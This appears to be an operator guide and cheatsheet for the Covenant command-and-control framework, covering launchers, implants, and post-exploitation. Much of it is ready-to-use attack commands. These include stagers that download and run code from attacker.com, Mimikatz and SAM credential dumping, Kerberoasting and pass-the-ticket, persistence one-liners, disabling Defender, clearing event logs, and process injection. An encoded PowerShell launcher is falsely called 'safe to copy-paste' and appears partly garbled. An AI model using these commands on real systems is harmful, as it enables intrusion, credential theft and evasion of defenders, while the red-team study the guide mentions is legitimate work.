Author: Ryan Cobb (@cobbr_io) and contributors Repo: https://github.com/cobbr/Covenant Description: Collaborative ASP.NET Core-based command and control framework with full C# capabilities License: CC BY 4.0 Docs: https://covenant.cobbr.io
Overview
Covenant is a collaborative ASP.NET Core-based command and control (C2) framework designed by Ryan Cobb (@cobbr_io). Unlike Sliver or Mythic, Covenant is Windows-native and built to leverage the capabilities of the .NET framework for post-exploitation. It excels at operating within authenticated Windows environments and provides first-class support for Active Directory attacks, Kerberos abuse, and C# in-memory payloads.
Key capabilities:
- Web-based collaborative UI — ASP.NET Core web server accessible from a browser; full RBAC for multi-operator campaigns
- C# Grunt implants — all payloads are C# compiled to .NET assemblies, running natively on Windows with full .NET library access
- Modular command architecture — add custom C# tasks without recompiling the framework
- Multiple listener types — HTTP, HTTPS, DNS TXT/A record exfiltration, and custom TCP/UDP protocol handlers
- In-memory execution — execute arbitrary .NET assemblies, PowerShell, unmanaged code (P/Invoke), and C# inline without writing to disk
- Integrated tooling — built-in Rubeus for Kerberos abuse, SharpKiller for IDS evasion, SharpView for AD enumeration, and others
- Seamless AD integration — native support for pass-the-hash, pass-the-ticket, over-pass-the-hash, Kerberoasting, and ASREPRoasting
- Process injection & UAC bypass — multiple UAC bypass and process injection techniques built-in
- Encrypted communications — configurable SSL/TLS, AES encryption with dynamic key rotation
- Listener flexibility — multiple simultaneous listeners, profile-based communication templates, malleable C2 profiles
Covenant targets authenticated domain environments and shines in red team exercises where the operator has already achieved initial access. It's written in .NET, meaning the entire codebase and task library is transparently available for modification and extension.
Architecture
Covenant follows a traditional web-based C2 architecture: a central server hosts the HTTP(S) web interface and listener(s), operators connect via browser to manage Grunts, and Grunts phone home via HTTP/HTTPS/DNS to the listener.
┌─────────────────────────────────────────────────────────────┐
│ Covenant Server (VPS/Lab - Windows/.NET) │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Covenant ASP.NET Core Application (:7443 HTTPS) │ │
│ │ │ │
│ │ ┌─────────────┐ ┌───────────────┐ ┌──────────┐ │ │
│ │ │ Web UI │ │ Controller │ │ Listener │ │ │
│ │ │ (Razor) │ │ API │ │ Handlers │ │ │
│ │ └─────────────┘ └───────────────┘ └──────────┘ │ │
│ │ │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite / MSSQL │ │
│ │ (Grunts, Tasks, │ │
│ │ Creds, Artifacts) │ │
│ └─────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ Listener Bindings (HTTP/HTTPS/DNS/Custom TCP/UDP) │ │
│ │ Port: 80, 443, 53, or custom │ │
│ └──────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┐
│ │ │
▼ ▼ ▼
┌─────────┐ ┌──────────┐ ┌──────────┐
│ Grunt │ │ Grunt │ │ Grunt │
│ (User │ │ (SYSTEM) │ │ (Lateral)│
│ Context)│ │ │ │ │
└─────────┘ └──────────┘ └──────────┘
│ (HTTPS) │ (HTTPS) │ (HTTP)
└───────────────────┼───────────────────┘
│
C2 traffic: JSON
over HTTP/HTTPS/DNS
Component breakdown:
- Web UI (ASP.NET Razor) — browser-based dashboard for operators. Lists active Grunts, queues tasks, displays output, and manages listeners. Requires operator authentication.
- Listener handlers — pluggable modules that listen on specified ports and deserialize inbound implant beacons. Built-in types: HTTP/HTTPS, DNS (A/TXT records), and custom protocols.
- Grunt (implant) — C# compiled executable or DLL. Phones home to a configured listener URL or DNS domain, fetches new tasks, executes them in-process, and returns results.
- Task executor — each Grunt task is a .NET assembly method or PowerShell snippet. Tasks execute in memory with zero disk writes by default.
- SQLite/MSSQL backend — stores operators, Grunts, task queue, credentials, file metadata, and event logs.
Installation & Server Setup
Prerequisites
- OS: Windows 10/11 or Linux with .NET Core 5.0+ runtime
- .NET SDK: 5.0 or later (6.0+ recommended for production)
- Database: SQLite (default, no separate installation needed) or MSSQL Server
- Port access: outbound HTTPS to GitHub (for downloading dependencies), listener port(s) inbound from targets
- Reverse DNS (optional): for DNS listener profile
Installation (Windows)
# Clone repository
git clone https://github.com/cobbr/Covenant.git
cd Covenant/Covenant
# Restore NuGet dependencies
dotnet restore
# Build release
dotnet publish -c Release -o ./out
# Run the server (will prompt for admin password on first run)
cd ./out
dotnet Covenant.dll
# Server starts on https://localhost:7443
# Navigate to https://localhost:7443 in a browser (accept self-signed cert warning)
Installation (Linux - Docker)
# Build Docker image
docker build -t covenant:latest .
# Run container, binding port 7443 for web UI and 80/443 for listeners
docker run -d \
--name covenant \
-p 7443:7443 \
-p 80:80 \
-p 443:443 \
-v covenant_data:/Covenant/Covenant/Data \
covenant:latest
# Access UI at https://localhost:7443
First-Run Setup
- Navigate to
https://localhost:7443(ignore SSL warning in lab) - Set an initial admin username and password when prompted
- Create user accounts for each operator
- Configure listeners and HTTP(S) profiles before generating payloads
- (Optional) Set up DNS redirector or domain fronting for remote listeners
Database Configuration
SQLite (default):
- File stored at
Covenant/Covenant/Data/covenant.db - Zero external dependencies, great for lab work
- Single-machine deployments only
MSSQL Server:
- Edit
appsettings.json:
json
"CovenantOptions": {
"DbOptions": {
"DbConnection": "Server=sqlserver.domain.com;Database=Covenant;User Id=sa;Password=YourPassword;"
}
}
- Run dotnet ef database update to migrate schema
Listeners & Profiles
Creating a Listener
Listeners are the server-side components that accept incoming callback traffic from Grunts. A Covenant server can run multiple listeners simultaneously on different ports and protocols.
HTTP/HTTPS Listener
Listeners > Create New > HTTP(S)
Name: c2_https_staging
BindAddress: 0.0.0.0
Port: 443
UseSSL: true
SSLCertFile: /path/to/cert.pfx
SSLCertPassword: (leave blank if no password)
ConnectAddress: attacker.com (external IP/domain that Grunts use)
ConnectPort: 443
Key fields:
- BindAddress — interface the listener binds to (0.0.0.0 for all, 127.0.0.1 for local-only)
- ConnectAddress — address Grunts use to reach this listener (usually your external IP or redirector FQDN)
- UseSSL — if true, requires a .pfx certificate (can be self-signed in lab)
DNS Listener
Listeners > Create New > DNS
Name: c2_dns_exfil
BindAddress: 0.0.0.0
Port: 53
Domain: attacker.com
DNS listener exfiltrates task results via TXT/A record queries. Less detectable in many environments but slower. Grunts encode data in DNS subdomains and read responses from DNS TXT records.
HTTP(S) Profiles
A profile defines how Grunts communicate with the listener. Customize User-Agent, request paths, HTTP headers, and encryption to evade signatures.
Default Profile
Listeners > HTTP Listener > HttpProfile > Customize
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
HostHeader: (optional, for domain fronting)
RequestUris: /upload /download /api /index
PostUris: /upload /api
EncryptionType: AES (or Xor)
EncryptionKey: (auto-generated 256-bit key)
Malleable C2 Profiles (Advanced)
Write custom profiles in Covenant's profile format (inspired by Cobalt Strike):
set sleeptime "5000";
set jitter "25";
set maxdns "245";
set useragent "Mozilla/5.0 (compatible; MSIE 9.0)";
http-get {
set uri "/upload";
client {
metadata {
base64;
}
}
server {
header "Server" "IIS/7.5";
output {
print;
}
}
}
http-post {
set uri "/api/results";
client {
id {
base64;
}
output {
base64;
prepend "__DATA=";
}
}
}
Launcher Generation
Launchers are the initial payloads that download and execute the main Grunt implant in memory. They can be generated in multiple formats to bypass AV/EDR.
Generate a Launcher
Launchers > New > Launcher Type
Available Launcher Types
- PowerShell — inline PowerShell one-liner (preferred for initial access)
PowerShell -NoP -sta -NonI -W Hidden -Enc [base64_payload]
Features: no-profile, no window, hidden, encoded
- PowerShell Stager — two-stage: download runner, then Grunt DLL
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/launcher')"
- MSBuild — use MSBuild.exe to compile and execute inline C#
C:\Program Files\Microsoft Visual Studio\2019\BuildTools\MSBuild.exe evil.xml
-
Cscript/Wscript — Windows Script Host execution of embedded PowerShell
-
Regsvcs/Regasm — register .NET assembly registration utilities (UAC bypass potential)
-
Rundll32 — invoke DLL export via rundll32.exe
-
InstallUtil — .NET installation utility (UAC bypass)
-
XCopy — abuse xcopy for file execution
Launcher Customization
Properties:
Listener: c2_https_staging
Language: PowerShell
UserAgent: Mozilla/5.0...
Delay: 0 (sleep before execution)
Jitter: 0 (randomize delay %)
ValidateCert: false (accept self-signed in lab)
OutputFormat: PowerShell (copy-paste ready)
Obfuscation: true (ConfuserEx/code mangling)
UACBypass: true (requires admin for full effectiveness)
Example PowerShell Launcher
# Obfuscated launcher (safe to copy-paste into a terminal)
powershell -NoP -sta -NonI -W Hidden -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAADKABbAFMAeQBzdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQpbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AEMAaABlAGMAawAsAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAG8AbABpAGMAeQAgAD0AIAB7ACQAdAByAHUAZQB9AH0AKQAKACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBnAHIAdQBuAHQAJwAsACcAQwA6AFwAVABlAG0AcABcAGcAcgB1AG4AdAAuAGQAbABsACcAKQAKAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQARgByAG8AbQBGAGkAbABlACgAJwBDADoAXABUAGUAbQBwAFwAZwByAHUAbgB0AC4AZABsAGwAJwApAC4ARQBuAHQAcwl5AHAAZQBzAFsAMABdAC4ARQBuAHQAcwl5AHAAZQBzAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAG4AdQBsAGwAKQA=
OPSEC Tip: Remove domain fronting headers in production. Use a hidden redirector (nginx/Apache) between Grunts and your C2 server. Monitor your listener logs for beacons.
Grunts (Implants)
A Grunt is the main Covenant implant — a compiled .NET executable or DLL that runs on the target, phones home to the listener, receives tasks, and exfiltrates results.
Generating a Grunt
Grunts > Generate > Create New Grunt
Name: Grunt1
Listener: c2_https_staging
OutputFormat: exe (or dll, svc-exe, svc-dll)
ProcessInjectionType: CreateRemoteThreadInject
ProcessName: spoolsv.exe (hollowing target)
AdminBypass: true
Output Formats
- exe — standalone executable; can be run directly
- dll — library form; requires host process (rundll32, custom runner)
- svc-exe — service wrapper for Windows services
- ps1 — PowerShell script that loads Grunt DLL via reflection
- csharp — raw C# source code (compile yourself)
Key Options
-
ProcessInjectionType — method for in-process task execution
-
CreateRemoteThreadInject— spawn thread in remote process, inject shellcode CreateProcessUnderTheRadarInject— fork+load without suspicion-
MonitoringClassInitialization— abuse .NET class constructors -
AdminBypass — build-in UAC bypass attempt on first run (requires medium IL)
-
ProcessName — if using injection, which process to hollow/inject into
Grunt Lifecycle
- Initialization — Grunt decrypts embedded config (listener URL, key, jitter)
- Staging — connects to listener, registers metadata (hostname, user, PID, session ID)
- Task polling — sleeps, then requests new tasks from listener
- Task execution — deserializes task JSON, loads required .NET assembly, invokes method
- Output collection — captures stdout/stderr, returns base64-encoded result to listener
- Cleanup — removes temporary files (in most cases)
Manual Grunt Registration (Advanced)
If you want to register a Grunt manually without phoning home:
Grunts > Create New > Name: ManualGrunt
Listener: c2_https_staging
(manually enter metadata like hostname, username, process ID)
Then copy the registration callback into your Grunt's initialization routine.
Task Management & Commands
Executing Tasks
Once a Grunt is active (checked in), queue tasks by selecting the Grunt and entering commands.
Grunt: Grunt1
> whoami
> ipconfig
> hostname
> net user administrator
> Get-ADUser -Filter *
> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
Available Built-In Commands
Covenant ships with 50+ built-in commands covering:
- System enumeration —
whoami,hostname,tasklist,wmic,Get-SystemInfo - Network enumeration —
ipconfig,netstat,arp,nslookup,ping - Process management —
ps,kill <pid>,CreateProcess - File operations —
ls,cd,cat,rm,cp,download,upload - Registry access —
reg query,reg add,reg delete - User & credential operations —
net user,whoami /priv,Get-Credentials - PowerShell execution —
powershell -Command "..." - Inline C# execution —
csharp(compile and run C# code in-memory) - Assembly execution —
execute-assembly /path/to/assembly.exe arg1 arg2 - Kerberos abuse —
Rubeus kerberoast,Rubeus asreproast,Rubeus s4u - Active Directory —
Get-ADUser,Get-ADComputer,Get-ADGroup,Invoke-BloodHound - Credential harvesting —
Invoke-Mimikatz,SharpKiller,Get-SAMHashes - Persistence —
AddScheduledTask,AddRegistryRun,AddWMIPersistence
Adding Custom Tasks
Edit Covenant/Covenant/Models/Grunts/Tasks/ and add a C# class inheriting from GruntTask:
public class MyCustomTask : GruntTask
{
public override string Category { get { return "Recon"; } }
public override string Name { get { return "MyTask"; } }
public override string Description { get { return "Custom task description"; } }
public override async Task BeforeGenerateHandler()
{
// Pre-generation hooks
}
public override string GetGruntTaskCode()
{
return @"
// C# code to run in Grunt context
return $\"Output: {DateTime.Now}\";
";
}
}
Recompile and restart Covenant to enable the new task.
PowerShell Inline Execution
Execute arbitrary PowerShell commands directly:
> powershell -Command "Get-Process | Where-Object {$_.Name -eq 'svchost'} | Select-Object Id, Name, Handles"
> powershell -File \\attacker.com\share\PowerView.ps1; Get-NetUser
Post-Exploitation Capabilities
Mimikatz Integration
Covenant includes bindings to Mimikatz for credential extraction:
> Invoke-Mimikatz -Command "sekurlsa::logonpasswords" # Extract plaintext creds
> Invoke-Mimikatz -Command "sekurlsa::tickets" # List Kerberos tickets
> Invoke-Mimikatz -Command "kerberos::list" # Same as above
> Invoke-Mimikatz -Command "misc::ncrack" # NTLM hash extraction
> Invoke-Mimikatz -Command "privilege::debug" # Enable SeDebugPrivilege
Output: plaintext passwords (if cached), hashes, Kerberos tickets in kirbi format.
SharpView (Active Directory Enumeration)
> Get-NetUser [-Identity jsmith] # Enumerate AD users
> Get-NetComputer [-Properties operatingSystem] # List computers
> Get-NetGroup [-GroupName "Domain Admins"] # List group members
> Get-NetShare # Enumerate SMB shares
> Find-InterestingFile -Path \\server\share # Hunt for sensitive files
> Get-NetGPO # Enumerate GPO policies
> Get-DomainController # List domain controllers
System Enumeration
> systeminfo # Full system info
> Get-LocalGroupMember -Group "Administrators" # List local admins
> Get-ExecutionPolicy # PowerShell execution policy
> Get-AppLockerPolicy -Effective # AppLocker rules
> Get-WindowsDefenderInfo # Defender status/exclusions
> Get-Firewall # Firewall rules
Process Enumeration & Manipulation
> ps # List all processes
> ps -Name "lsass" # Find specific process
> kill <pid> # Terminate process
> CreateProcess <executable> [args] # Spawn new process
> InjectedThread -ProcessId <pid> -ShellCode [hex] # Inject shellcode into process
Credential Access & Harvesting
Local SAM Extraction
Extract NTLM hashes from the local SAM registry:
> Get-SAMHashes # Read SAM registry hive
Requires: SYSTEM privileges (use BypassUAC first if running as admin)
Output: Hashes in format: username:rid:lmhash:ntlmhash
Credential Dumping (LSASS)
> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
Extracts cached credentials from Live Memory Snapshot (LSA). Detectable by EDR but highly effective in lab environments.
Browser Credential Extraction
> SharpChromium -all # Extract Chrome cached passwords & cookies
> Get-FirefoxLogin # Extract Firefox stored credentials
Active Directory Attacks
Kerberoasting
> Rubeus kerberoast /user:<service account>
> Rubeus kerberoast /domain:domain.com /outfile:kerberoast.txt
Extracts TGS tickets from service accounts with weak passwords.
ASREPRoasting
> Rubeus asreproast /user:krbuser
> Rubeus asreproast /domain:domain.com /outfile:asrep.txt
Targets accounts with "Do not require Kerberos preauthentication" flag set.
Pass-the-Ticket (PTT)
> Rubeus createnetonly /program:cmd.exe /ticket:[kirbi_base64]
Injects Kerberos ticket into a new logon session.
Over-Pass-the-Hash (OPtH)
> Rubeus asktgt /user:jsmith /ntlm:[hash] /domain:domain.com
Uses NTLM hash to request TGT without knowing plaintext password.
Constrained Delegation Abuse (S4U)
> Rubeus s4u /user:serviceaccount /ntlm:[hash] /domain:domain.com /msdsspn:CIFS/fileserver.domain.com
Abuse Kerberos S4U2Self and S4U2Proxy for lateral movement.
Lateral Movement & Pivoting
Staged Code Execution
Pass-the-Hash (PTH) via RunAs
> RunAs /username:domain\jsmith /password:SecurePassword123 /domain:domain.com /command:cmd.exe
Spawn new process with alternate credentials (requires plaintext password or hash).
PsExec Alternative (WMI)
> Invoke-WMICommand -ComputerName fileserver.domain.com -Command "whoami"
Execute command on remote machine via WMI (requires admin/credentials).
WinRM/PowerShell Remoting
> Invoke-PSRemoting -ComputerName dc.domain.com -Command "whoami"
Requires WinRM enabled and valid credentials.
Port Forwarding
> Socks5
Start a local SOCKS5 proxy on Grunt, tunneling traffic through C2 back to the target network.
Then configure your tools (e.g., proxychains) to route through the SOCKS5 listener.
Secondary Listeners (P2P Chaining)
Spawn a secondary Grunt on a compromised machine that acts as a listener for other Grunts:
Launchers > New > PowerShell > (copy launcher)
(execute on target machine, which connects back to primary Grunt)
Grunts can chain through each other over HTTP, creating a multi-hop implant network.
Persistence Mechanisms
Registry Run Key
> AddRegistryRun -Name MaintainerService -Value "C:\Temp\maintenance.exe" -Key HKLM\\Software\\Microsoft\\Windows\\Run
Adds a run key to HKLM; executes on next boot.
Scheduled Task
> AddScheduledTask -Name SystemMaintenance -Path "C:\Windows\System32\calc.exe" -TriggerType Daily -Interval 1
Creates a scheduled task that runs periodically.
WMI Event Subscription
> AddWMIPersistence -CommandLine "powershell -nop -w hidden -enc [base64]"
Use WMI event consumers for persistence; harder to detect than run keys.
Service Installation
If running as SYSTEM:
> CreateServiceExe /name:ServiceName /displayname:"Windows Service" /binpath:"C:\Temp\Grunt.exe"
Install Grunt as a Windows service for automatic startup.
Startup Folder
> CopyFile -Source C:\Temp\Launcher.ps1 -Destination "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Startup\launcher.ps1"
Add PowerShell launcher to startup folder (user-level persistence).
Living Off The Land (LOLBAS Integration)
Covenant includes seamless integration with LOLBAS (Living Off The Land Binaries and Scripts) — legitimate Windows tools that can be abused for offense.
Common LOLBAS Execution
> mshta http://attacker.com/payload.hta # HTML Application execution
> certutil -urlcache -f http://attacker.com/file.exe # Download via certutil
> bitsadmin /transfer mydownload /download /resume http://attacker.com/file.exe C:\Temp\file.exe
> rundll32 javascript:"\..\mshtml,RunHTMLApplication";... # Execute via rundll32
> regsvcs C:\Temp\evil.dll # .NET assembly registration (UAC bypass)
> regasm C:\Temp\evil.dll # .NET assembly assembly (UAC bypass)
> InstallUtil C:\Temp\evil.exe # .NET installer utility (UAC bypass)
> MSBuild.exe C:\Temp\build.xml # Compile and execute inline C#
> csc.exe /out:C:\Temp\Evil.exe C:\Temp\Evil.cs # C# compiler inline
> powershell -File \\attacker.com\share\PowerView.ps1 # Remote script execution
In-Memory Execution
Covenant's killer feature is zero-disk execution — code runs entirely in memory without ever touching the filesystem.
Execute-Assembly
Load and execute .NET assemblies directly in Grunt context:
> execute-assembly /path/to/Rubeus.exe kerberoast
> execute-assembly /path/to/SharpView.exe Get-NetUser
> execute-assembly /path/to/mimikatz.exe sekurlsa::logonpasswords
Advantages:
- Zero disk writes
- Runs in Grunt process memory
- No new process spawned (avoids process creation event logs)
- Can be detected by in-memory EDR (Cylance, CrowdStrike) but not signature-based AV
Inline C# Execution
Compile and run C# code directly:
> csharp
using System.Diagnostics;
var p = Process.Start("notepad.exe");
p.WaitForExit();
return $"Notepad PID: {p.Id}";
Covenant compiles the snippet and executes it in-process.
PowerShell Inline
> powershell -Command "Get-Process | Select-Object Name, Id | Format-Table"
Direct PowerShell execution with output parsing.
OPSEC Considerations
Callback Beaconing
Configure Grunt sleep intervals to avoid detection:
In Launcher:
Delay: 5000 (milliseconds between callbacks)
Jitter: 30 (randomize delay by ±30%)
Grunts with a 5-second jitter will callback between 3.5 and 6.5 seconds, avoiding predictable patterns.
HTTPS Configuration
For production engagements:
- Use a valid certificate (Let's Encrypt, DigiCert, etc.)
- Configure domain fronting — point Grunts to a CDN domain (azure.microsoft.com) while the backend listener responds on your C2 domain
- Obfuscate User-Agent — randomize or mirror target environment's UA
Logging & Audit Trail
Monitor Covenant's operator logs:
Listeners > Listener Name > Logs
Shows all task executions, creations, and deletions. In a real engagement, operators should coordinate to avoid duplicate task executions (which create duplicate callbacks and look suspicious in network logs).
Process Injection OPSEC
Choose injection carefully:
- CreateRemoteThreadInject — detectable by behavior-based EDR (memory anomalies, thread creation)
- CreateProcessUnderTheRadarInject — spawns a new process; creates process creation logs
- MonitoringClassInitialization — abuse .NET class loading; fewer EDR hooks
Best practice: Inject into spoolsv.exe, svchost.exe, or explorer.exe — common, legitimate processes.
Encryption & Key Rotation
Covenant supports AES-256 encryption with key rotation per beacon. Configure in HTTP(S) profile:
EncryptionType: AES
EncryptionKey: (auto-generate or custom)
Rotate keys periodically to avoid cracking old key material.
Detection Evasion Techniques
Obfuscation Layers
Covenant can apply multiple obfuscation passes:
- Launcher obfuscation — ConfuserEx, code mangling
- Grunt obfuscation — control flow flattening, dead code injection, string encryption
- Profile obfuscation — randomize HTTP headers, request paths, user-agent
Enable all during generation:
Launcher Properties:
Obfuscation: true
Grunt Properties:
Obfuscation: true
Signing & Certificates
To bypass Windows Code Integrity (CI) and kernel-mode AV:
- Obtain a code-signing certificate (EV, standard, or self-signed in lab)
- Sign compiled launcher/Grunt DLLs:
signtool sign /f certificate.pfx /p password Grunt.exe
3. EDR/AV cannot block signed, unknown binaries as easily
Memory Scanning Evasion
- Use process hollowing to hide code in legitimate process memory
- Avoid loading suspicious DLLs (amsi.dll, wldp.dll)
- Patch .NET assemblies to bypass AMSI scanning
Behavioral Evasion
- Randomize command execution timing
- Avoid suspicious process names (cmd.exe → spoolsv.exe injection)
- Use legitimate Windows tools (LOLBAS) instead of custom utilities
- Minimize credential-harvesting commands in EDR-monitored environments
Common Attack Workflows
Workflow 1: Initial Access → Lateral Movement → Persistence
1. Generate PowerShell launcher (Admin Bypass enabled)
2. Social engineering → user executes launcher
3. Establish callback → Grunt1 on initial user box
4. whoami, systeminfo, ipconfig (target recon)
5. Get-AdComputer -Filter "*" (find high-value targets)
6. Rubeus kerberoast (identify weak service accounts)
7. Rubeus asktgt /ntlm:[hash] (request TGT for service account)
8. Rubeus ptt (inject ticket into Grunt session)
9. PsExec-alternative to domain controller via Kerberos ticket
10. Dump NTDS.dit from DC using ntdsutil or VShadowCopy
11. AddScheduledTask on DC for persistence
Workflow 2: Pass-the-Hash Lateral Movement
1. Get-SAMHashes → obtain NTLM hash of local admin
2. Rubeus createnetonly /program:cmd /ticket:[kirbi] (create new session)
3. \\fileserver\c$ (access SMB share using injected ticket)
4. Copy Grunt launcher to \\fileserver\c$\Windows\Temp\
5. WMI/PSRemoting to execute launcher on fileserver
6. New Grunt callback from fileserver context
7. Execute-assembly Rubeus.exe kerberoast
8. Pivot again to service account context
Workflow 3: Kerberoasting & Privilege Escalation
1. Rubeus kerberoast /outfile:tickets.txt (dump service TGS tickets)
2. Transfer tickets to cracking box
3. hashcat -m 13100 tickets.txt wordlist.txt (crack TGS hashes)
4. Obtain plaintext password for service account
5. Rubeus asktgt /user:service /password:Password123 /domain:domain.com
6. Rubeus ptt (inject TGT)
7. Now operate as service account with potential high privileges
8. AddScheduledTask, AddRegistryRun for persistence
Cheatsheet
Listener Management
Listeners > New
Listeners > [Name] > Logs (view callbacks)
Listeners > [Name] > Grunt (view active Grunts)
Listeners > [Name] > HttpProfile (customize C2 profile)
Launcher Generation
Launchers > New
Select format (PowerShell, Cscript, InstallUtil, etc.)
Customize: Obfuscation, Delay, Jitter, ValidateCert
Output: Copy/download launcher
Task Queuing
Grunts > [Active Grunt]
> command_name [arguments]
> output appears in real-time or async (depending on task type)
Essential Commands (Quick Reference)
| Command | Purpose |
|---|---|
whoami |
Current user context |
hostname |
Target hostname |
ipconfig |
Network configuration |
ps |
List processes |
tasklist |
Alternative process listing |
net user |
Local user enumeration |
Get-ADUser -Filter * |
AD user enumeration |
Rubeus kerberoast |
Extract TGS tickets |
Invoke-Mimikatz -Command "sekurlsa::logonpasswords" |
Dump credentials from memory |
execute-assembly Rubeus.exe |
Run .NET tool in-memory |
powershell -Command "..." |
Execute PowerShell |
upload /path/to/file |
Upload to Grunt |
download /remote/path |
Download from Grunt |
CreateProcess notepad.exe |
Spawn process |
AddScheduledTask -Name T -Path cmd.exe |
Schedule task (persistence) |
AddRegistryRun -Name S -Value c:\temp\x.exe |
Registry run key (persistence) |
Privilege Escalation (via Covenant)
# UAC Bypass (via AdminBypass launcher)
> BypassUAC
# Get privileges
> whoami /priv
# SeDebugPrivilege activation
> Invoke-Mimikatz -Command "privilege::debug"
# Token impersonation (if impersonation token available)
> Rubeus createnetonly /program:cmd /ticket:[kirbi]
Evasion Commands
# Disable Windows Defender (requires SYSTEM)
> Set-MpPreference -DisableRealtimeMonitoring $true
# Disable Powershell Logging
> Set-PSLoggingPolicy -Enabled $false
# Remove event logs
> Clear-EventLog -LogName Security
# Use trusted binary (lolbas)
> mshta http://attacker.com/payload.hta
# Inject shellcode into spoolsv.exe
> Grunts > [Grunt] > Create > ProcessInjectionType:CreateRemoteThreadInject > ProcessName:spoolsv.exe
Domain Reconnaissance
# Get domain info
> Get-NetDomain
# Enumerate users
> Get-NetUser
# Enumerate groups
> Get-NetGroup -GroupName "Domain Admins"
# Enumerate computers
> Get-NetComputer
# Find domain controllers
> Get-DomainController
# Enumerate domain shares
> Get-NetShare
# Hunt sensitive files
> Find-InterestingFile -Path \\server\share
# Get group policy
> Get-NetGPO
Credential Attacks (AD)
# Kerberoasting
> Rubeus kerberoast
# ASREPRoasting
> Rubeus asreproast /user:krbuser
# Over-pass-the-hash
> Rubeus asktgt /user:admin /ntlm:[hash]
# Pass-the-ticket
> Rubeus ptt /ticket:[kirbi_base64]
# Constrained delegation
> Rubeus s4u /user:serviceaccount /ntlm:[hash] /msdsspn:CIFS/fileserver
# Resource-based constrained delegation (RBCD)
> Rubeus s4u /user:computeraccount$ /ntlm:[hash] /impersonateuser:admin /msdsspn:CIFS/fileserver
Persistence One-Liners
# Scheduled task
> AddScheduledTask -Name WindowsUpdate -Path "C:\Windows\Temp\update.exe" -Trigger Daily
# Registry run key
> AddRegistryRun -Name MsUpdate -Value "C:\Windows\Temp\svc.exe"
# WMI event subscription
> AddWMIPersistence -CommandLine "cmd /c C:\Temp\launcher.exe"
# Startup folder
> CopyFile -Source C:\Temp\launcher.ps1 -Destination "C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Startup\"
# Services
> CreateServiceExe -Name ServiceName -BinPath "C:\Windows\Temp\svc.exe"
Advantages of Covenant
- Modern C# ecosystem — leverage LINQ, async/await, NuGet libraries
- Visual web UI — easier than Sliver/Mythic CLI for some operators
- Integrated post-ex tools — Mimikatz, Rubeus, SharpView built-in
- Excellent for AD environments — native Kerberos support
- Modular tasks — easy to extend with custom C# code
Disadvantages
- Windows-centric — limited cross-platform support (though console works on Linux)
- .NET dependency — targets must have .NET installed (less common on older systems)
- Less active development — compared to Mythic/Sliver, community is smaller
- Educational tool warning — primarily designed for authorized red team work and CTFs, not general malware development
Further Reading
- Official Docs: https://covenant.cobbr.io
- GitHub: https://github.com/cobbr/Covenant
- LOLBAS Database: https://lolbas-project.github.io
- Kerberos Attacks: https://harmj0y.net/blog/tag/kerberos/
- Active Directory Security: https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf